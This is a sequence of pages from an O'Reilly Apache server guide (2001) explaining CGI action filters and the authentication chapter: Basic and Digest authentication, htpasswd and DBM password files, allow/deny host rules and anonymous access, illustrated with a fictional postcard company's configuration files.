The cgi_script is applied to any file of MIME or handler type matching type whenever it is requested. This mechanism can be used in a number of ways. For instance, it can be handy to put certain files through a filter before they are served up on the Web. As a simple example, suppose we wanted to keep all our .html files in compressed format to save space, and to uncompress them on the fly as they are retrieved. Apache happily does this. We make site.filter a copy of site.first, except that the httpd.conf file is as follows:

User webuser
Group webgroup
ServerName localhost
DocumentRoot /usr/www/site.filter/htdocs
ScriptAlias /cgi-bin /usr/www/cgi-bin
AccessConfig /dev/null
ResourceConfig /dev/null
AddHandler peter-zipped-html zhtml
Action peter-zipped-html /cgi-bin/unziphtml
<Directory /usr/www/site.filter/htdocs>
DirectoryIndex index.zhtml
</Directory>

The points to notice are that:

  • AddHandler sets up a new handler with a name we invented, peter-zipped-html, and associates a file extension with it: zhtml (notice the absence of the period).

  • Action sets up a filter. For instance:

Action peter-zipped-html /cgi-bin/unziphtml

  • means "apply the CGI script unziphtml to anything with the handler name peter-zipped-html."

The CGI script ... /cgi-bin/unziphtml contains the following:

#!/bin/sh
echo "content-type: text/html"
echo
gzip -S .zhtml -d -c $PATH_TRANSLATED

This applies gzip with the following flags:

-S

Sets the file extension as .zhtml

-d

Uncompresses the file

-c

Outputs the results to the standard output so they get sent to the client, rather than uncompressing in place

gzip is applied to the file contained in the environment variable PATH_TRANSLATED.

Finally, we have to turn our .htmls into .zhtmls. In ... /htdocs we have compressed and renamed:

  • catalog_summer.html to catalog_summer.zhtml

  • catalog_autumn.html to catalog_autumn.zhtml

It would be simpler to leave them as gzip does (with the extension .html.gz), but a file extension that maps to a MIME type cannot have a "." in it.[44]

[44]At least, not in a stock Apache. Of course, you could write a module to do it.

We also have index.html, which we want to convert, but we have to remember that it must call up the renamed catalogs with .zhtml extensions. Once that has been attended to, we can gzip it and rename it to index.zhtml.

We learned that Apache automatically serves up index.html if it is found in a directory. But this won't happen now, because we have index.zhtml. To get it to be produced as the index, we need the DirectoryIndex directive (see Chapter 7, "Indexing"), and it has to be applied to a specified directory:

<Directory /usr/www/site.filter/htdocs>
DirectoryIndex index.zhtml
</Directory>

Once all that is done, and ./go is run, the page looks just as it did before.

Previous | Home | Next
4.8. Handlers | Book Index | 5. Authentication
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Authentication (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

Chapter 5. Authentication

Contents:

Authentication Protocol
Authentication Directives
Passwords Under Unix
Passwords Under Win32
New Order Form
Order, Allow, and Deny
Digest Authentication
Anonymous Access
Experiments
Automatic User Information
Using .htaccess Files
Overrides

The volume of business Butterthlies, Inc., is doing is stupendous, and naturally our competitors are anxious to look at sensitive information such as the discounts we give our salespeople. We have to seal their site off from the vulgar gaze by authenticating those who log on to it.

5.1. Authentication Protocol

Authentication is simple in principle. The client sends its name and password to Apache. Apache looks up its file of names and encrypted passwords to see whether the client is entitled to access. The webmaster can store a number of clients in a list -- either as a simple text file or as a database -- and thereby control access person by person.

It is also possible to group a number of people into named groups and to give or deny access to these groups as a whole. So, throughout this chapter, bill and ben are in the group directors, and daphne and sonia are in the group cleaners. The webmaster can require user so and so or require group such and such. If you have to deal with large numbers of people, it is obviously easier to group them in this way.

Each username/password pair is valid for a particular realm, named when the passwords are created. The browser asks for a URL; the server sends back "Authentication Required" (code 401) and the realm. If the browser already has a username/password for that realm, it sends the request again with the username/password. If not, it prompts the user, usually including the realm's name in the prompt, and sends that.

Of course, all this is worryingly insecure since the password is sent unencrypted over the Web and any malign observer simply has to watch the traffic to get the password -- which is as good in his hands as in the legitimate client's. Digest authentication improves on this by using a challenge/handshake protocol to avoid revealing the actual password. Well, it would, if any browsers supported the technique, which at the moment they don't. However, we include information concerning this procedure later in this chapter, in the hope that a miracle may occur during the lifetime of this edition.

5.1.1. site.authent

Examples are found in site.authent. The Config file looks like this:

User webuser
Group webgroup
ServerName www.butterthlies.com
NameVirtualHost 192.168.123.2

<VirtualHost www.butterthlies.com>
ServerAdmin sales@butterthlies.com
DocumentRoot /usr/www/site.authent/htdocs/customers
ServerName www.butterthlies.com
ErrorLog /usr/www/site.authent/logs/error_log
TransferLog /usr/www/site.authent/logs/customers/access_log
ScriptAlias /cgi-bin /usr/www/cgi-bin
</VirtualHost>

<VirtualHost sales.butterthlies.com>
ServerAdmin sales_mgr@butterthlies.com
DocumentRoot /usr/www/site.authent/htdocs/salesmen
ServerName sales.butterthlies.com
ErrorLog /usr/www/site.authent/logs/error_log
TransferLog /usr/www/site.authent/logs/salesmen/access_log
ScriptAlias /cgi-bin /usr/www/cgi-bin

<Directory /usr/www/site.authent/htdocs/salesmen>
AuthType Basic
AuthName darkness
AuthUserFile /usr/www/ok_users/sales
AuthGroupFile /usr/www/ok_users/groups
#AuthDBMUserFile /usr/www/ok_dbm/sales
#AuthDBMGroupFile /usr/www/ok_dbm/groups
require valid-user
#require user daphne bill
#require group cleaners
#require group directors
</Directory>

<Directory /usr/www/cgi-bin>
AuthType Basic
AuthName darkness
AuthUserFile /usr/www/ok_users/sales
AuthGroupFile /usr/www/ok_users/groups
#AuthDBMUserFile /usr/www/ok_dbm/sales
#AuthDBMGroupFile /usr/www/ok_dbm/groups
require valid-user
</Directory>
</VirtualHost>

What is going on here? Read on.

Previous | Home | Next
4.9. Actions | Book Index | 5.2. Authentication Directives
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Authentication Directives (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

5.2. Authentication Directives

From Apache v1.3 on, filenames are relative to the server root unless they are absolute. A filename is taken as absolute if it starts with "/" or, on Win32, if it starts with "drive :/". It seems sensible to us to write them in absolute form to prevent misunderstandings. The directives are as follows.

5.2.1. AuthType

AuthType type
Directory, .htaccess

AuthType specifies the type of authorization control. Until recently, Basic was the only possible type, but Apache 1.1 introduced Digest, which uses an MD5 digest and a shared secret. As far as we know, no browser yet supports it.

If the directive AuthType is used, we must also use AuthName, AuthGroupFile, and AuthUserFile.

5.2.2. AuthName

AuthName auth-realm
Directory, .htaccess

AuthName gives the name of the realm in which the users' names and passwords are valid. If the name of the realm includes spaces, you will need to surround it with quotation marks:

AuthName "Jack and Jill"

5.2.3. AuthGroupFile

AuthGroupFile filename
Directory, .htaccess

AuthGroupFile has nothing to do with the Group webgroup directive at the top of the Config file. It gives the name of another file that contains group names and their members:

cleaners: daphne sonia
directors: bill ben

We put this into ... /ok_users/groups and set AuthGroupFile to match. The AuthGroupFile directive has no effect unless the require directive is suitably set.

5.2.4. AuthUserFile

AuthUserFile filename

AuthUserFile is a file of usernames and their encrypted passwords. There is quite a lot to this; see the section "Passwords" later in this chapter.

5.2.5. Limit

<Limit method1 method2 ...>
...
</Limit>

The <Limit method> directive defines a block according to the HTTP method of the incoming request. Generally, it should not be used unless you really need it (for example, if you've implemented PUT and want to limit PUTs but not GETs), and we have not used it in site.authent. Unfortunately, Apache's online documentation encouraged its inappropriate use, so it is often found where it shouldn't be.

method defines an HTTP method; see the HTTP/1.1 specification for a complete list. For instance:

<Limit GET POST>
... directives ...
</Limit>

This directive limits the application of the directives that follow to scripts that use the GET and POST methods. Generally speaking, as we have said, there is little need to use Limit. One situation in which you might is if you had a web site where the clients were allowed to write data to your pages: you might want to allow GET/HEAD but restrict PUT/DELETE.

5.2.6. Require

require [user user1 user2 ...] [group group1 group2] [valid-user]
Directory, .htaccess

The key directive that throws password checking into action is require.

The last possible argument, valid-user, accepts any users that are found in the password file. Note: Do not mistype this as valid_user, or you will get a hard-to-explain authorization failure when you try to access this site through a browser, because Apache does not care what rubbish you put after require. It interprets valid_user as a username. It would be nice if Apache returned an error message, but require is usable by multiple modules and there's no way to determine (in the current API) what values are valid.

We could say:

require user bill ben simon

to allow only those users, provided they also have valid entries in the password table, or we could say:

require group cleaners

in which case only sonia and daphne can access the site, provided they also have valid passwords and we have set up AuthGroupFile appropriately.

The block that protects ... /cgi-bin could safely be left out in the open as a separate block, but since protection of the ... /salesmen directory only arises when sales.butterthlies.com is accessed, we might as well put the require directive there.

5.2.7. Satisfy

satisfy [any|all]
Default: all
Directory, .htaccess

Sets access policy if both allow and require are used. The parameter can be either all or any. This directive is only useful if access to a particular area is being restricted by both username/password and client host address. In this case, the default behavior (all) is to require the client to pass the address access restriction and enter a valid username and password. With the any option, the client will be granted access if it either passes the host restriction or enters a valid username and password. This can be used to let clients from particular addresses into a password-restricted area without prompting for a password.

For instance, we want a password from everyone except site 1.2.3.4:

<usual auth setup (realm, files etc>
require valid-user
Satisfy any
order deny,allow
allow from 1.2.3.4
deny from all

Previous | Home | Next
5. Authentication | Book Index | 5.3. Passwords Under Unix
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Passwords Under Unix (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

5.3. Passwords Under Unix

Authentication of salespeople is managed by the password file users, stored in /usr/www/ok_users. This is safely above the document root, so that Bad Guys cannot get at it and mess with it. The file users is maintained using the Apache utility htpasswd . The source code for this utility is to be found in ... /apache_1.3.1/src/support/htpasswd.c, and we have to compile it with:

% make htpasswd

htpasswd now links, and we can set it to work. Since we don't know how it functions, the obvious thing is to prod it with:

% htpasswd -?

It responds that the correct usage is:

htpasswd [-c] passwordfile username
The -c flag creates a new file

This seems perfectly reasonable behavior, so let's create a user bill with the password "theft" (in real life, you would never use so obvious a password for such a character as Bill of the notorious Butterthlies sales team, because it would be subject to a dictionary attack, but this is not real life):

% htpasswd -c ... /ok_users/sales bill

We are asked to type his password twice, and the job is done. If we look in the password file, there is something like the following:

bill:$1$Pd$E5BY74CgGStbs.L/fsoEU0

Add subsequent users (the -c flag creates a new file, so we shouldn't use it after the first one):

% htpasswd ... /ok_users/sales ben

Carry on and do the same for sonia and daphne. We gave them all the same password, "theft," to save having to remember different ones later.

The password file ... /ok_users/users now looks something like this:[45]

[45]Note that this version of the file is as produced by export FreeBSD, so it doesn't use the more usual DES version of the crypt() function -- instead, it uses one based on MD5, so the password strings may look a little peculiar to you.

bill:$1$Pd$E5BY74CgGStbs.L/fsoEU0
ben:$1$/S$hCyzbA05Fu4CAlFK4SxIs0
sonia:$1$KZ$ye9u..7GbCCyrK8eFGU2w.
daphne:$1$3U$CF3Bcec4HzxFWppln6Ai01

Each username is followed by an encrypted password. They are stored like this to protect the passwords because, in theory at least, you cannot work backward from the encrypted to the plaintext version. If you pretend to be Bill and log in using:

$1$Pd$E5BY74CgGStbs.L/fsoEU0

the password gets reencrypted, becomes something like o09klks23O9RM, and fails to match. You can't tell by looking at this file (or if you can, we'll all be very disappointed) that Bill's password is actually "theft."

Previous | Home | Next
5.2. Authentication Directives | Book Index | 5.4. Passwords Under Win32
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Passwords Under Win32 (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

5.4. Passwords Under Win32

Since Win32 lacks an encryption function, passwords are stored in plaintext. This is not very secure, but one hopes it will change for the better. The passwords would be stored in the file named by the AuthUserFile directive, and Bill's entry would be:

bill:theft

except that in real life you would use a better password.

Previous | Home | Next
5.3. Passwords Under Unix | Book Index | 5.5. New Order Form
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


New Order Form (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

5.5. New Order Form

We want this to be our state-of-the-art, showcase site, so we will employ our order form for users and make up a similar one for salespeople. We copy and edit our customers' form ... /main_docs/form_summer.html to produce ... /main_docs/form_summer_sales.html, reflecting the cynical language used internally by the sales department and removing the request for a credit card number:

<html>
<body>
<FORM METHOD=GET ACTION="/cgi-bin/mycgi.cgi">
<h1>Welcome to the great rip-off of '97: Butterthlies Inc</h1>
<p>
All our worthless cards are available in packs of 20
at $1.95 a pack. WHAT A FANTASTIC DISCOUNT! There is an amazing
FURTHER 10% discount if you order more than 100.
</p>
</p> <hr> <p> Style 2315
<p align=center> <img src="bench.jpg" alt="Picture of a bench">
<p align=center> Be BOLD on the bench
<p>How many packs of 20 do you want?
<INPUT NAME="2315_order" TYPE=int>
<hr>
<p>
Style 2316
<p align=center>
<img src="hen.jpg" ALT="Picture of a hencoop like a pagoda">
<p align=center>
Get SCRAMBLED in the henhouse
<p>How many packs of 20 do you want?
<INPUT NAME="2316_order" TYPE=int>
<HR>
<p>
Style 2317
<p align=center>
<img src="tree.jpg" alt="Very nice picture of tree">
<p align=center>
Get HIGH in the treehouse
<p>How many packs of 20 do you want? <INPUT NAME="2317_order" TYPE=int>
<hr>
<p>
Style 2318
<p align=center>
<img src="bath.jpg" alt="Rather puzzling picture of a bathtub">
<p align=center>
Get DIRTY in the bath
<p>How many packs of 20 do you want? <INPUT NAME="2318_order" TYPE=int>
<hr>
<p align=right>
Postcards designed by Harriet@alart.demon.co.uk
<hr>
<br>
Butterthlies Inc, Hopeful City, Nevada 99999
</br>
<p><INPUT TYPE=submit><INPUT TYPE=reset>
</FORM>
</body>
</html>

We have to edit ... /site.authent/htdocs/customers/index.html :

<html>
<head>
<title>Index to Butterthlies Catalogs<title>
</head>
<body>
<ul>
<li>
<A href="form_summer.html">Summer order form </A>
</ul>
<hr>
<br>
Butterthlies Inc, Hopeful City, Nevada 99999
</br>
</body>
</html>

And we also have to edit ... /site.authent/htdocs/salesmen:

<html>
<head>
<title>Salesman's Index to Butterthlies Catalogs</title>
</head>
<body>
<ul>
<li>
<A href="form_summer_sales.html">Summer order form </A>
</ul>
<hr>
<br>
Butterthlies Inc, Hopeful City, Nevada 99999
</br>
</body>
</html>

All this works satisfactorily. When you access www.butterthlies.com, you get the customers' order form as before. When you go to sales.butterthlies.com, you are told:

Enter username for darkness at sales.butterthlies.com

The realm name darkness was specified when we set up the passwords. You enter bill and then his password, theft, and there you are with the salespeople's order form. You can now experiment with different require directives by stopping Apache and editing conf/httpd.conf, then restarting Apache with ./go and logging in again.

You may find that logging in again is a bit more elaborate than you would think. We found that Netscape was annoyingly helpful in remembering the password used for the last login and using it again. To make sure you are really exercising the security features, you have to get out of Netscape each time and reload it to get a fresh crack.

You might like to try the effect of:

#require valid-user
#require user daphne bill
require group cleaners
#require group directors

or:

#require valid-user
require user daphne bill
#require group cleaners
#require group directors

5.5.1. DBM Files on Unix

Although searching a file of usernames and passwords works perfectly well, it is apt to be rather slow once the list gets up to a couple of hundred entries. To deal with this, Apache provides a better way of handling large lists: turning them into a database. You need one of the modules that appear in the Configuration file as:

#Module db_auth_module  mod_auth_db.o
Module dbm_auth_module mod_auth_dbm.o

Bear in mind that they correspond to different directives: AuthDBMUserFile or AuthDBUserFile . A Perl script to manage both types of database, dbmmanage , is supplied with Apache in .../src/support. To decide which type to use, you need to discover the capabilities of your Unix. Explore these by going to the command prompt and typing first:

% man db

and then:

% man dbm

Whichever method first produces a manpage is the one you should use. You can also use an SQL database, employing MySQL or a third-party package to manage it.

Once you have decided which method to use, edit Configuration to include the appropriate module, and then type:

% ./Configure

and:

% make

We now have to create a database of our users: bill, ben, sonia, and daphne. Go to ... /apache/src/support, find the utility dbmmanage, and copy it into /usr/local/bin or something similar to put it on your path. This utility may be distributed without execute permission set, so, before attempting to run it, we may need to change the permissions:

% chmod +x dbmmanage

You may find, when you first try to run dbmmanage, that it complains rather puzzlingly that some unnamed file can't be found. This is probably Perl, a text-handling language, and if you have not installed it, you should. It may also be necessary to change the first line of dbmmanage to the correct path for Perl, if it is installed somewhere other than /usr/local/bin.

We use dbmmanage in the following way:

% dbmmanage dbmfile command username

The possible commands are as follows:

  • add

  • adduser

  • check

  • delete

  • import

  • update

  • view

So, to add our four users to a file /usr/www/ok_dbm/users, we type:

% dbmmanage /usr/www/ok_dbm/users.db adduser bill
New password:theft
Re-type new password:theft
User bill added with password encrypted to vJACUCNeAXaQ2

Perform the same service for ben, sonia, and daphne. The file ... /users is not editable directly, but you can see the results by typing:

% dbmmanage /usr/www/ok_dbm/users view

bill:vJACUCNeAXaQ2
ben:TPsuNKAtLrLSE
sonia:M9x731z82cfDo
daphne:7DBV6Yx4.vMjc

You can build a group file with dbmmanage, but, because of faults in the script that we hope will have been rectified by the time readers of this edition use it, the results seem a bit odd. To add the user fred to the group cleaners, type:

% dbmmanage /usr/www/ok_dbm/group add fred cleaners

(Note: Do not use adduser.) dbmmanage rather puzzlingly responds with the following message:

User fred added with password encrypted to cleaners

When we test this with:

% dbmmanage  /usr/www/ok_dbm/group view

we see:

fred:cleaners

which is correct, because in a group file the name of the group goes where the encrypted password would go in a password file.

Since we have a similar file structure, we invoke DBM authentication in ... /conf/httpd.conf by commenting out:

#AuthUserFile /usr/www/ok_users/sales
#AuthGroupFile /usr/www/ok_users/groups

and inserting:

AuthDBMUserFile /usr/www/ok_dbm/sales
AuthDBMGroupFile /usr/www/ok_dbm/sales

AuthDBMGroupFile is set to the same file as the AuthDBMUserFile. What happens is that the username becomes the key in the DBM file, and the value associated with the key is password:group. To create a separate group file, a database with usernames as the key and groups as the value (with no colons in the value) would be needed.

Previous | Home | Next
5.4. Passwords Under Win32 | Book Index | 5.6. Order, Allow, and Deny
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Order, Allow, and Deny (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

5.6. Order, Allow, and Deny

So far we have dealt with potential users on an individual basis. We can also allow access from or deny access to specific IP addresses, hostnames, or groups of addresses and hostnames. The commands are allow from and deny from.

The order in which the allow and deny commands are applied is not set by the order in which they appear in your file. The default order is deny then allow: if a client is excluded by deny, it is excluded unless it matches allow. If neither is matched, the client is granted access.

The order in which these commands is applied can be set by the order directive.

5.6.1. Allow from

allow from host host ...
Directory, .htaccess

The allow directive controls access to a directory. The argument host can be one of the following:

all

All hosts are allowed access.

A (partial) domain name

All hosts whose names match or end in this string are allowed access.

A full IP address

The first one to three bytes of an IP address, for subnet restriction.

A network/netmask pair

Network a.b.c.d and netmask w.x.y.z, to give finer-grained subnet control. For instance, 10.1.0.0/255.255.0.0.

A network CIDR specification

The netmask consists of nnn high-order 1-bits. For instance, 10.1.0.0/16 is the same as 10.1.0.0/255.255.0.0.

5.6.2. Allow from env

allow from env=variablename ...
Directory, .htaccess

The allow from env directive controls access by the existence of a named environment variable. For instance:

BrowserMatch ^KnockKnock/2.0 let_me_in
<Directory /docroot>
order deny,allow
deny from all
allow from env=let_me_in
</Directory>

Access by a browser called KnockKnock v2.0 sets an environment variable let_me_in, which in turn triggers allow from.

5.6.3. Deny from

deny from host host ...
Directory, .htaccess

The deny from directive controls access by host. The argument host can be one of the following:

all

All hosts are denied access.

A (partial) domain name

All hosts whose names match or end in this string are denied access.

A full IP address

The first one to three bytes of an IP address, for subnet restriction.

A network/netmask pair

Network a.b.c.d and netmask w.x.y.z, to give finer-grained subnet control. For instance, 10.1.0.0/255.255.0.0.

A network CIDR specification

The netmask consists of nnn high-order 1-bits. For instance, 10.1.0.0/16 is the same as 10.1.0.0/255.255.0.0.

5.6.4. Deny from env

deny from env=variablename ...
Directory, .htaccess

The deny from env directive controls access by the existence of a named environment variable. For instance:

BrowserMatch ^BadRobot/0.9 go_away
<Directory /docroot>
order allow,deny
allow from all
deny from env=go_away
</Directory>

Access by a browser called BadRobot v0.9 sets an environment variable go_away, which in turn triggers deny from.

5.6.5. Order

order ordering
Directory, .htaccess

The ordering argument is one word (i.e., it is not allowed to contain a space) and controls the order in which the foregoing directives are applied. If two order directives apply to the same host, the last one to be evaluated prevails:

deny,allow

The deny directives are evaluated before the allow directives.

allow,deny

The allow directives are evaluated before the denys.

mutual-failure

Hosts that appear on the allow list and do not appear on the deny list are allowed access.

We could say:

allow from all

which lets everyone in and is hardly worth writing, or we could say:

allow from 123.156
deny from all

As it stands, this denies everyone except those whose IP addresses happen to start with 123.156. In other words, allow is applied last and carries the day. If, however, we changed the default order by saying:

order allow,deny
allow from 123.156
deny from all

we effectively close the site because deny is now applied last. It is also possible to use domain names, so that instead of:

deny from 123.156.3.5

you could say:

deny from badguys.com

Although this has the advantage of keeping up with the Bad Guys as they move from one IP address to another, it also allows access by people who control the reverse-DNS mapping for their IP addresses.

A URL can be partial. In this case, the match is done on whole words from the right. That is, allow from fred.com allows fred.com and abc.fred.com, but not notfred.com.

Good intentions, however, are not enough: before conferring any trust in a set of access rules, you want to test those rules thoroughly in the privacy of the boudoir.[46]

[46]Boudoir is French for "a place where you pout" -- you may have reason to do so before you've finished with all this.

Previous | Home | Next
5.5. New Order Form | Book Index | 5.7. Digest Authentication
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Digest Authentication (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

5.7. Digest Authentication

A halfway house between complete encryption and none at all is digest authentication. The idea is that a one-way hash, or digest, is calculated from a password and various other bits of information. Rather than sending the password, as is done in basic authentication, the digest is sent. At the other end, the same function is calculated: if the numbers are not identical, something is wrong -- and in this case, since all other factors should be the same, the "something" must be the password.

Digest authentication is applied in Apache to improve the security of passwords. MD5 is a cryptographic hash function written by Ronald Rivest and distributed free by RSA Data Security; with its help, the client and server use the hash of the password and other stuff. The point of this is that although many passwords lead to the same hash value, there is a very small chance that a wrong password will give the right hash value, if the hash function is intelligently chosen; it is also very difficult to construct a password leading to the same hash value (which is why these are sometimes referred to as one-way hashes ). The advantage of using the hash value is that the password itself is not sent to the server, so it isn't visible to the Bad Guys. Just to make things more tiresome for them, MD5 adds a few other things into the mix: the URI, the method, and a nonce. A nonce is simply a number chosen by the server and told to the client, usually different each time. It ensures that the digest is different each time and protects against replay attacks.[47] The digest function looks like this:

[47]This is a method in which the Bad Guy simply monitors the Good Guy's session and reuses the headers for his own access. If there were no nonce, this would work every time!

MD5(MD5(<password>)+":"+<nonce>+":"+MD5(<method>+":"+<uri>))

MD5 digest authentication can be invoked with the following line:

AuthType Digest

This plugs a nasty hole in the Internet's security. Almost unbelievably, the authentication procedures discussed up to now send the user's password in clear text across the Web. A Bad Guy who intercepts the Internet traffic then knows the user's password. This is a Bad Thing. So, digest authentication works this way:

  1. The client requests a URL.

  2. Because that URL is protected, the server replies with error 401, "Authentication required," and among the headers, it sends a nonce.

  3. The client combines the user's password, the nonce, the method, and the URL, as described previously, then sends the result back to the server. The server does the same thing with the hash of the user's password[48] retrieved from the password file and checks that its result matches.

    [48]Which is why MD5 is applied to the password, as well as to the whole thing: the server then doesn't have to store the actual password, just a digest of it.

A different nonce is sent the next time, so that the Bad Guy can't use the captured digest to gain access.

MD5 digest authentication is implemented in Apache for two reasons. First, it provides one of the two fully compliant reference HTTP/1.1 implementations required for the standard to advance down the standards track; second, it provides a test bed for browser implementations. It should only be used for experimental purposes, particularly since it makes no effort to check that the returned nonce[49] is the same as the one it chose in the first place. This makes it susceptible to a replay attack.

[49]It is unfortunate that the nonce must be returned as part of the client's digest authentication header, but since HTTP is a stateless protocol, there is little alternative. It is even more unfortunate that Apache simply believes it! An obvious way to protect against this is to include the time somewhere in the nonce and to refuse nonces older than some threshold.

The httpd.conf file is as follows:

User webuser
Group webgroup
ServerName www.butterthlies.com
ServerAdmin sales@butterthlies.com
DocumentRoot /usr/www/site.digest/htdocs/customers
ErrorLog /usr/www/site.digest/logs/customers/error_log
TransferLog /usr/www/site.digest/logs/customers/access_log
ScriptAlias /cgi-bin /usr/www/cgi-bin

<VirtualHost sales.butterthlies.com>
ServerAdmin sales_mgr@butterthlies.com
DocumentRoot /usr/www/site.digest/htdocs/salesmen
ServerName sales.butterthlies.com
ErrorLog /usr/www/site.digest/logs/salesmen/error_log
TransferLog /usr/www/site.digest/logs/salesmen/access_log
ScriptAlias /cgi-bin /usr/www/cgi-bin

<Directory /usr/www/site.digest/htdocs/salesmen>
AuthType Digest
AuthName darkness
AuthDigestFile /usr/www/ok_digest/sales
require valid-user
#require group cleaners
</Directory>
</VirtualHost>

Figure 5.7 Go to the Configuration file (see Chapter 1, "Getting Started" ). If the line:

Module digest_module mod_digest.o

is commented out, uncomment it and remake Apache as described previously. Go to the Apache support directory and type:

% make htdigest
% cp htdigest /usr/local/bin

Figure 5.7 The command-line syntax for htdigest is:

% htdigest [-c]passwordfile realm user

Figure 5.7 Go to /usr/www (or some other appropriate spot) and make the ok_digest directory and contents:

% mkdir ok_digest
% cd ok_digest
% htdigest -c sales darkness bill
Adding password for user bill in realm darkness.
New password: password
Re-type new password: password
% htdigest sales darkness ben
...
% htdigest sales darkness sonia
...
% htdigest sales darkness daphne
...

Digest authentication can, in principle, also use group authentication. However, none of it worked when we tested it with Netscape Navigator v4.05. Provided that the line:

LogLevel debug

appeared in the Config file, the error log contained the following entry:

client used wrong authentication scheme

Whether a webmaster used this facility or not might depend on whether he or she could control which browsers the clients used.

Previous | Home | Next
5.6. Order, Allow, and Deny | Book Index | 5.8. Anonymous Access
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Anonymous Access (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

5.8. Anonymous Access

It often happens that even though you have passwords controlling the access to certain things on your site, you also want to allow guests to come and sample the site's joys -- probably a reduced set of joys, mediated by the username passed on by the client's browser. The Apache module mod_auth_anon.c allows you to do just this. It should be compiled in automatically -- check by looking at Configuration. If it wasn't compiled in, you may get this unnerving error message:

Invalid command Anonymous

when you try to exercise the Anonymous directive. The Config file, in ... /site.anon/conf/httpd.conf, is as follows:

User webuser
Group webgroup
ServerName www.butterthlies.com

IdentityCheckon
NameVirtualHost 192.168.123.2

<VirtualHost www.butterthlies.com>
#CookieLog logs/cookies
ServerAdmin sales@butterthlies.com
DocumentRoot /usr/www/site.anon/htdocs/customers
ServerName www.butterthlies.com
ErrorLog /usr/www/site.anon/logs/customers/error_log
TransferLog /usr/www/site.anon/logs/access_log
ScriptAlias /cgi-bin /usr/www/cgi-bin
</VirtualHost>

<VirtualHost sales.butterthlies.com>
CookieLog logs/cookies
ServerAdmin sales_mgr@butterthlies.com
DocumentRoot /usr/www/site.anon/htdocs/salesmen
ServerName sales.butterthlies.com
ErrorLog /usr/www/site.anon/logs/error_log
TransferLog /usr/www/site.anon/logs/salesmen/access_log
ScriptAlias /cgi-bin /usr/www/cgi-bin

<Directory /usr/www/site.anon/htdocs/salesmen>
AuthType Basic
AuthName darkness
AuthUserFile /usr/www/ok_users/sales
AuthGroupFile /usr/www/ok_users/groups
require valid-user

Anonymous_Authoritative off
Anonymous guest anonymous air-head
</Directory>

<Directory /usr/www/cgi-bin>
AuthType Basic
AuthName darkness
AuthUserFile /usr/www/ok_users/sales
AuthGroupFile /usr/www/ok_users/groups
#AuthDBMUserFile /usr/www/ok_dbm/sales
#AuthDBMGroupFile /usr/www/ok_dbm/groups
require valid-user
</Directory>
</VirtualHost>

Run go and try accessing http://sales.butterthlies.com/. You should be asked for a password in the usual way. The difference is that now you can also get in by being guest, air-head , or anonymous. The Anonymous directives follow.

5.8.1. Anonymous

Anonymous userid1 userid2 ...

The user can log in as any user ID on the list, but must provide something in the password field unless that is switched off by another directive.

5.8.2. Anonymous_NoUserID

Anonymous_NoUserID [on|off]
Default: off
Directory, .htaccess

If on, users can leave the ID field blank but must put something in the password field.

5.8.3. Anonymous_LogEmail

Anonymous_LogEmail [on|off]
Default: on
Directory, .htaccess

If on, accesses are logged to ... /logs/httpd_log or to the log set by TransferLog.

5.8.4. Anonymous_VerifyEmail

Anonymous_VerifyEmail [on|off]
Default: off
Directory, .htaccess

The user ID must contain at least one "@" and one "."

5.8.5. Anonymous_Authoritative

Anonymous_Authoritative [on|off]
Default: off
Directory, .htaccess

If this directive is on and the client fails anonymous authorization, he fails all authorization. If it is off, other authorization schemes will get a crack at him.

5.8.6. Anonymous_MustGiveEmail

Anonymous_MustGiveEmail [on|off]
Default: on
Directory, .htaccess

The user must give an email ID as a password.

Previous | Home | Next
5.7. Digest Authentication | Book Index | 5.9. Experiments
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Experiments (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

5.9. Experiments

Run ./go. Exit from your browser on the client machine and reload it to make sure it does password checking properly (you will probably need to do this every time you make a change throughout this exercise). If you access the salespeople's site again with the user ID guest, anonymous, or air-head, and any password you like (fff or 23 or rubbish), you will get access. It seems rather silly, but you must give a password of some sort.

Set:

Anonymous_NoUserID on

This time you can leave both the ID and password fields empty. If you enter a valid username (bill, ben, sonia, or gloria), you must follow through with a valid password.

Set:

Anonymous_NoUserID off
Anonymous_VerifyEmail on
Anonymous_LogEmail on

The effect here is that the user ID has to look something like an email address, with (according to the documentation) at least one "@" and one ".". However, we found that one "." or one "@" would do. Email is logged in the error log, not the access log as you might expect.

Set:

Anonymous_VerifyEmail off
Anonymous_LogEmail off
Anonymous_Authoritative on

The effect here is that if an access attempt fails, it is not now passed on to the other methods. Up to now we have always been able to enter as bill, password theft, but no more. Change the Anonymous section to look like this:

Anonymous_Authoritative off
Anonymous_MustGiveEmail on

Finally:

Anonymous guest anonymous air-head
Anonymous_NoUserID off
Anonymous_VerifyEmail off
Anonymous_Authoritative off
Anonymous_LogEmail on
Anonymous_MustGiveEmail on

The documentation says that Anonymous_MustGiveEmail forces the user to give some sort of password. In fact, it seems to have the same effect as VerifyEmail: A "." or "@" will do.

5.9.1. Access.conf

In the first edition of this book we said that if you wrote your httpd.conf file as shown earlier, but also created .../conf/access.conf containing directives as innocuous as:

<Directory /usr/www/site.anon/htdocs/salesmen>
</Directory>

security in the salespeople's site would disappear. This bug seems to have been fixed in Apache v1.3.

Previous | Home | Next
5.8. Anonymous Access | Book Index | 5.10. Automatic User Information
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Automatic User Information (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

5.10. Automatic User Information

